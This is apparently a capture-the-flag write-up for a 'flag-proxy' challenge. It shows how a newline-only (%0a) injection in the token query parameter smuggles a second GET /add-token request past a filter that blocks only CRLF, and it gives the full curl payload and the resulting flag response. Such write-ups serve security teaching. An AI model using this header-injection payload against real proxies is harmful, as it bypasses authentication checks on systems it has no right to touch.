There are two endpoints available, `/flag` and `/add-token`. `/add-token` checks for an auth so `/flag` is the only request we can use to perform a http request smuggling.
The `/flag` endpoint in the proxy makes another request to the back server to `/flag`, the objetive is use the proxy's `/flag` endpoint to make a request to the back's `/add-token` endpoint. 
The vulnerability occurs because the token query is being used as part of the headers for the proxied request and that the `http-client.js` file only checks if the header includes `\r\n` so a regular `%0d%0a` (url encoded) won't work, but it doesn't check for just `\n` or `%0a`.
A regular HTTP request for `/flag` looks like this:
```GET /flag?token=randomcharacters HTTP/1.0Host: back:8080Content-Length: 0Connection: close```
If we inject the following in the request:```Content-Length: 0Connection: keep-alive
GET /add-token?token=randomcharacters HTTP/1.0Host: back:8080
```Will make another request to the back server and add the token for us.
The payload will look something like this after URL encoding:```curl "http://flag-proxy.challs.teamitaly.eu/flag?token=%0aContent-Length:0%0aConnection:%20keep-alive%0a%0aGET%20/add-token?token=randomcharacters%20HTTP/1.0%0aHost:%20back:8080%0a"```
This works because the final request after the proxy server finishes parsing the headers will ultimately look something like this:
```GET /flag?token=Content-Length: 0Connection: keep-alive
GET /add-token?token=randomcharacters HTTP/1.0Host: back:8080
 HTTP/1.0Host: back:8080Content-Length: 0Connection: close```
Then we can just make a request to the /flag endpoint with our custom token and receive the flag
```curl "http://flag-proxy.challs.teamitaly.eu/flag?token=randomcharacters"```
Response:```json{"httpVersion":"HTTP/1.1","statusCode":200,"statusMessage":"OK","headers":{"X-Powered-By":"Express","Content-Type":"text/html; charset=utf-8","Content-Length":"18","ETag":"W/\"12-43/A5sw4MypQYouEtbBr+zK2j/E\"","Date":"Thu, 08 Sep 2022 19:49:10 GMT","Connection":"close"},"body":"flag{sanity_check}"}```